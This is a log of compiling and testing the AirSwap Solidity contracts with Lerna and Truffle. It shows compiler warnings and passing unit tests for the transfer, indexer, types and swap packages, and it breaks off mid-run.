openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run test" lerna info run Ran npm script 'test' in '@airswap/order-utils' in 1.4s: $ mocha test Orders ✓ Checks that a generated order is valid Signatures ✓ Checks that a Version 0x45: personalSign signature is valid ✓ Checks that a Version 0x01: signTypedData signature is valid 3 passing (27ms) lerna info run Ran npm script 'test' in '@airswap/transfers' in 10.1s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: TransferHandlerRegistry Unit Tests Test fetching non-existent handler ✓ test fetching non-existent handler, returns null address Test adding handler to registry ✓ test adding, should pass (87ms) Test adding an existing handler from registry will fail ✓ test adding an existing handler will fail (119ms) Contract: TransferHandlerRegistry Deploying... ✓ Deployed TransferHandlerRegistry contract (56ms) ✓ Deployed test contract "AST" (55ms) ✓ Deployed test contract "MintableERC1155Token" (71ms) ✓ Test adding transferHandler by non-owner reverts (46ms) ✓ Set up TokenRegistry (561ms) Minting ERC20 tokens (AST)... ✓ Mints 1000 AST for Alice (67ms) Approving ERC20 tokens (AST)... ✓ Checks approvals (Alice 250 AST (62ms) ERC20 TransferHandler ✓ Checks balances and allowances for Alice and Bob... (99ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (136ms) ✓ Checks remaining balances and approvals were not updated in failed transfer (86ms) ✓ Adding an id with ERC20TransferHandler will cause revert (51ms) ERC721 and CKitty TransferHandler ✓ Deployed test ERC721 contract "ConcertTicket" (70ms) ✓ Deployed test contract "CKITTY" (51ms) ✓ Carol initiates an ERC721 transfer of ConcertTicket #121 tokens from Alice to Bob (224ms) ✓ Carol fails to perform transfer of ConcertTicket #121 from Bob to Alice when an amount is set (103ms) ✓ Mints a kitty collectible (#54321) for Bob (78ms) ✓ Bob approves KittyCoreHandler to transfer his kitty collectible (47ms) ✓ Carol fails to perform transfer of CKITTY collectable #54321 from Bob to Alice when an amount is set (79ms) ✓ Carol initiates a transfer of CKITTY collectable #54321 from Bob to Alice (72ms) ERC1155 TransferHandler ✓ Mints 100 of Dragon game token (#10) for Alice (65ms) ✓ Check the Dragon game token (#10) balance prior to transfer (39ms) ✓ Alice approves ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: 